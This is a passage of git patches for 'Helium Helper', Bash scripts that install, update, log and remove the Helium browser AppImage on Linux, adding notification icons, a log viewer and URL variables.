BACKUP_PATH=$INSTALL_PATH/assets/backup LOG_PATH=$INSTALL_PATH/assets/logs LOG=$LOG_PATH/log LAUNCHER_PATH=$HOME/.local/share/applications +ICON=$CONFIG_PATH/icon/helium.png SCRIPT_PATH=$HOME/.local/bin DATE=$(date) @@ -73,35 +74,26 @@ dependency_check () { } ### UPDATE SCRIPT -remote_script_check() { - REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME - mkdir -p $TMP - wget -P $TMP $REMOTE_SCRIPT_URL -q - chmod +x $TMP/$SCRIPT_FILE_NAME -} - update_script() { - remote_script_check - ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "${DATE} | Failed to update script - local file not found" >> $LOG - notify-send "Helium Helper" "Script update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" exit fi - REMOTE_SCRIPT_VERSION=$($TMP/$SCRIPT_FILE_NAME -s | awk '{print $8}' | tr -d '\n' ) + REMOTE_SCRIPT_VERSION=$(curl -s https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then echo "${DATE} | Failed to update script - Empty version tag --> local" >> $LOG - notify-send "Helium Helper" "Script update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then echo "${DATE} | Failed to update script - Empty version tag --> $SOURCE" >> $LOG - notify-send "Helium Helper" "Script update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" exit fi @@ -111,37 +103,38 @@ update_script() { REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then - notify-send "Helium Helper" "Script is up-to-date" + notify-send -i "$ICON" "Helium Helper" "Script is up-to-date" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old + mkdir -p $TMP + wget -P $TMP $REMOTE_SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH - echo "${DATE} | Script updated" >> $LOG - notify-send "Helium Helper" "Script updated" + echo "${DATE} | Script updated to $REMOTE_SCRIPT_VERSION" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Script updated to $REMOTE_SCRIPT_VERSION" else echo "${DATE} | Failed to update - Malformed version tags" >> $LOG - notify-send "Helium Helper" "Script update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details\n$REMOTE_SCRIPT_VERSION $SCRIPT_VERSION" fi } ### UPDATE update_helium() { - #update_script ### NEEDS REVIEW - LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$GIT_VERSION" ]] ; then echo "${DATE} | Failed to update - Empty version tag --> $SOURCE" >> $LOG - notify-send "Helium Helper" "Browser update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then echo "${DATE} | Failed to update - Empty version tag --> LOCAL" >> $LOG - notify-send "Helium Helper" "Browser update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" exit fi @@ -151,7 +144,7 @@ update_helium() { GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then - notify-send "Helium Helper" "Browser is up-to-date" + notify-send -i "$ICON" "Helium Helper" "Browser is up-to-date" elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') @@ -167,11 +160,11 @@ update_helium() { cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo "${DATE} | $APP_NAME updated to ${GIT_VERSION}" >> $LOG - notify-send "Helium Helper" "Browser updated to $GIT_VERSION" + notify-send -i "$ICON" "Helium Helper" "Browser updated to $GIT_VERSION" else echo "${DATE} | Failed to update - Version tags malformed" >> $LOG - notify-send "Helium Helper" "Browser update failed! See log for details" + notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" exit fi @@ -216,6 +209,7 @@ while getopts ":a,:s,:S,:h" OPTION ; do case $OPTION in S) + dependency_check update_script exit_clean ;; From 57c0770950b563690f8a712c1556d4ab48cea2ef Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 11:01:30 +0100 Subject: [PATCH 040/106] Fixed missing variable --- helium_auto_update.sh | 2 ++ helium_helper.sh | 2 ++ 2 files changed, 4 insertions(+) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 11837ed..11a2ebc 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -75,6 +75,8 @@ dependency_check () { ### UPDATE SCRIPT update_script() { + REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME + ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "${DATE} | Failed to update script - local file not found" >> $LOG diff --git a/helium_helper.sh b/helium_helper.sh index e9ff09d..2217b41 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -333,6 +333,8 @@ script_version() { ### UPDATE SCRIPT update_script() { + REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME + ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo -e "\n ${YEL}$SCRIPT_FILE_NAME not found...${CRS}" From f42029b0f61ed0e871edb06ffff5579762c19520 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 11:53:18 +0100 Subject: [PATCH 041/106] Log view function added --- assets/launcher/helium.desktop.template | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/assets/launcher/helium.desktop.template b/assets/launcher/helium.desktop.template index c3865fa..e5a55c5 100644 --- a/assets/launcher/helium.desktop.template +++ b/assets/launcher/helium.desktop.template @@ -11,7 +11,7 @@ Icon=%ICON_LOCATION% Type=Application Categories=Network;WebBrowser; MimeType=application/pdf;application/rdf+xml;application/rss+xml;application/xhtml+xml;application/xhtml_xml;application/xml;image/gif;image/jpeg;image/png;image/webp;text/html;text/xml;x-scheme-handler/http;x-scheme-handler/https; -Actions=new-window;new-private-window;update;update-script; +Actions=new-window;new-private-window;update;update-script;show-log; X-AppImage-Version=%APP_VERSION% [Desktop Action new-window] @@ -28,4 +28,8 @@ Exec=%QUIET_UPDATE_SCRIPT% [Desktop Action update-script] Name=Update Helium Helper -Exec=%SCRIPT_UPDATE% \ No newline at end of file +Exec=%SCRIPT_UPDATE% + +[Desktop Action show-log] +Name=Show Update Log +Exec=%OPEN_LOG_EDITOR% \ No newline at end of file From 9586095f86b1bcb32cae1fc12c1d0c119232d591 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 11:53:59 +0100 Subject: [PATCH 042/106] Log View added; Removal extended --- helium_auto_update.sh | 21 ++++++++++++++++----- helium_helper.sh | 12 ++++++++++-- 2 files changed, 26 insertions(+), 7 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 11a2ebc..a7d8ecf 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -11,7 +11,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME quiet updater" SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.6" +SCRIPT_VERSION="0.5.5" ALIAS="auto-update-helium" ## LOCATIONS @@ -76,7 +76,7 @@ dependency_check () { ### UPDATE SCRIPT update_script() { REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME - + ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "${DATE} | Failed to update script - local file not found" >> $LOG @@ -179,19 +179,26 @@ script_version() { } +### SHOW LOG +show_log() { + xdg-open $LOG +} + ### HELP help() { echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" echo -e "$APP_NAME_LONG automatic updater script\n" - echo -e "Syntax: $SCRIPT_FILE_NAME [ -a | -s | -h ]\n" + echo -e "Syntax: $SCRIPT_FILE_NAME [ -s | -S | -L | -h ]\n" echo -e "Options:\n" - echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh${CRS}" echo -e "\t-s\tShow script version" + echo -e "\t-S\tUpdate $SCRIPT_FILE_NAME" + echo -e "\t-L\tOpen log in default text editor" echo -e "\t-h\tPrint this help page.\n" echo -e "Configured locations:\n" echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" echo -e "\t${CYN}${LAUNCHER_PATH}${CRS}\tLauncher location" echo -e "\t${CYN}${SCRIPT_PATH}${CRS}\t\t\tScript location\n" + echo -e "\t${CYN}${LOG_PATH}${CRS}\t\tLog location\n" } ### EXIT CLEAN @@ -207,7 +214,7 @@ exit_clean() { ########## MAIN ########## ## GET OPTIONS -while getopts ":a,:s,:S,:h" OPTION ; do +while getopts ":a,:s,:S,:L,:h" OPTION ; do case $OPTION in S) @@ -219,6 +226,10 @@ while getopts ":a,:s,:S,:h" OPTION ; do script_version exit_clean ;; + L) + show_log + exit_clean ;; + h) help exit_clean ;; diff --git a/helium_helper.sh b/helium_helper.sh index 2217b41..c51ba1f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.6" +SCRIPT_VERSION="0.5.5" ALIAS="update-helium" ## LOCATIONS @@ -144,6 +144,7 @@ add_launcher() { sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template sed -i "s|%SCRIPT_UPDATE%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template + sed -i "s|%OPEN_LOG_EDITOR%|xdg-open $LOG|" $TMP/helium.desktop.template mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" @@ -292,7 +293,14 @@ remove_helium() { rm -rf $INSTALL_PATH if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then rm $LAUNCHER_PATH/$APP_NAME.desktop - + fi + + if [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then + rm $SCRIPT_PATH/$SCRIPT_FILE_NAME + fi + + if [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then + rm $SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME fi if [ -f "$HOME/.zshrc" ] ; then From d1da40494bbfdeaa71943ce9f6fcab0668c5f69a Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 12:07:28 +0100 Subject: [PATCH 043/106] Log view function extended --- helium_auto_update.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index a7d8ecf..e06b9cd 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -181,7 +181,13 @@ script_version() { ### SHOW LOG show_log() { - xdg-open $LOG + if [ -f "$LOG" ] ; then + xdg-open $LOG + + else + notify-send -i "$ICON" "Helium Helper" "No log created yet" + + fi } ### HELP From 4f1d453e9ee42303f60ef2d39f300ded358617f6 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 12:34:17 +0100 Subject: [PATCH 044/106] More accessible url variables --- helium_auto_update.sh | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index e06b9cd..8077325 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -25,6 +25,8 @@ LAUNCHER_PATH=$HOME/.local/share/applications ICON=$CONFIG_PATH/icon/helium.png SCRIPT_PATH=$HOME/.local/bin DATE=$(date) +REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME +SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -49,6 +51,7 @@ dependency_check () { if ! [ -d "$LOG_PATH" ] ; then mkdir -p $LOG_PATH + echo "########## $APP_NAME update log ##########" echo "${DATE} | Log created" >> $LOG fi @@ -75,8 +78,6 @@ dependency_check () { ### UPDATE SCRIPT update_script() { - REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME - ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "${DATE} | Failed to update script - local file not found" >> $LOG @@ -85,7 +86,7 @@ update_script() { fi - REMOTE_SCRIPT_VERSION=$(curl -s https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') + REMOTE_SCRIPT_VERSION=$(curl -s $REMOTE_SCRIPT_URL | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then @@ -125,11 +126,13 @@ update_script() { ### UPDATE update_helium() { + DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') + SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') + SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [[ -z "$GIT_VERSION" ]] ; then + if [[ -z "$SOURCE_VERSION" ]] ; then echo "${DATE} | Failed to update - Empty version tag --> $SOURCE" >> $LOG notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" exit @@ -143,26 +146,24 @@ update_helium() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) + SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) - if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then notify-send -i "$ICON" "Helium Helper" "Browser is up-to-date" - elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then - GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then mkdir -p $TMP $BACKUP_PATH - wget -P $TMP $GIT_URL -q --show-progress - chmod +x $TMP/$GIT_FILENAME + wget -P $TMP $DOWNLOAD_URL -q --show-progress + chmod +x $TMP/$SOURCE_FILENAME if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then rm $BACKUP_PATH/$APP_NAME.old fi mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old - mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop - echo "${DATE} | $APP_NAME updated to ${GIT_VERSION}" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser updated to $GIT_VERSION" + echo "${DATE} | $APP_NAME updated to ${SOURCE_VERSION}" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Browser updated to $SOURCE_VERSION" else echo "${DATE} | Failed to update - Version tags malformed" >> $LOG From 62d0671f031ac0091371446aa87f20b5ae53e92b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 12:51:52 +0100 Subject: [PATCH 045/106] Fixed missing variable --- helium_helper.sh | 61 ++++++++++++++++++++++++------------------------ 1 file changed, 31 insertions(+), 30 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index c51ba1f..67533d1 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -32,7 +32,10 @@ LOG_PATH=$INSTALL_PATH/assets/logs LOG=$LOG_PATH/log LAUNCHER_PATH=$HOME/.local/share/applications SCRIPT_PATH=$HOME/.local/bin -#PROFILE=$HOME/.profile ### for AUTO UPDATE + +## REMOTE LOCATIONS +REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME +SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -92,12 +95,12 @@ install_helium() { echo if [[ "$CONFIRM_INSTALL" == "" || "$CONFIRM_INSTALL" == "y" || "$CONFIRM_INSTALL" == "Y" ]] ; then - GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - wget -P $TMP $GIT_URL -q --show-progress - chmod +x $TMP/$GIT_FILENAME + DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') + SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + wget -P $TMP $DOWNLOAD_URL -q --show-progress + chmod +x $TMP/$SOURCE_FILENAME mkdir -p $INSTALL_PATH - mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage add_launcher echo -e "\n ${GRN}$APP_NAME_LONG is installed!${CRS}\n" break @@ -173,7 +176,7 @@ add_launcher() { add_alias() { ### WORKS BUT NEEDS WORK if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then mkdir -p $SCRIPT_PATH - wget -P $TMP $SCRIPT_URL -q + wget -P $TMP $REMOTE_SCRIPT_URL -q chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH fi @@ -203,10 +206,10 @@ add_alias() { ### WORKS BUT NEEDS WORK ### UPDATE update_helium() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') + SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [ -z "$GIT_VERSION" ] ; then + if [ -z "$SOURCE_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}$SOURCE${RED}! Can't compare, exiting...${CRS}" exit @@ -218,31 +221,31 @@ update_helium() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) + SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) - if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then echo -e "\n ${GRN}$APP_NAME_LONG is already up-to-date!${CRS}\n" - elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${LCY}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" + echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" while true ; do read -p " Download and update $APP_NAME_LONG from $SOURCE? (Y/n) : " CONFIRM echo if [[ "$CONFIRM" == "" || "$CONFIRM" == "y" || "$CONFIRM" == "Y" ]] ; then - GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') + SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') mkdir -p $TMP $BACKUP_PATH - wget -P $TMP $GIT_URL -q --show-progress - chmod +x $TMP/$GIT_FILENAME + wget -P $TMP $DOWNLOAD_URL -q --show-progress + chmod +x $TMP/$SOURCE_FILENAME if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then rm $BACKUP_PATH/$APP_NAME.old fi mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old - mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" @@ -262,7 +265,7 @@ update_helium() { else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" + echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" echo -e " ${RED}Update failed... Exiting...${CRS}\n" exit @@ -341,8 +344,6 @@ script_version() { ### UPDATE SCRIPT update_script() { - REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME - ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo -e "\n ${YEL}$SCRIPT_FILE_NAME not found...${CRS}" @@ -375,7 +376,7 @@ update_script() { fi - REMOTE_SCRIPT_VERSION=$(curl -s https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') + REMOTE_SCRIPT_VERSION=$(curl -s $REMOTE_SCRIPT_URL | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then @@ -439,10 +440,10 @@ update_script() { ### COMPARE APPIMAGE VERSION compare_version() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') + SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [ -z "$GIT_VERSION" ] ; then + if [ -z "$SOURCE_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}$SOURCE${RED}! Can't compare, exiting...${CRS}" exit @@ -454,24 +455,24 @@ compare_version() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) + SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) - if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" + echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" exit - elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" + echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" exit else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" + echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" echo -e " ${RED}Update failed ... Exiting ...${CRS}\n" exit From f072d0608cd128a2d92924e170103a5c339f8ec7 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 12:52:09 +0100 Subject: [PATCH 046/106] update --- helium_auto_update.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 8077325..ad335bc 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -25,6 +25,8 @@ LAUNCHER_PATH=$HOME/.local/share/applications ICON=$CONFIG_PATH/icon/helium.png SCRIPT_PATH=$HOME/.local/bin DATE=$(date) + +## REMOTE LOCATIONS REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest From a97e77a370983b5b4fc2b53d20a21ec396006591 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 12:58:40 +0100 Subject: [PATCH 047/106] Fixed SED command --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 67533d1..0014d4f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -147,7 +147,7 @@ add_launcher() { sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i 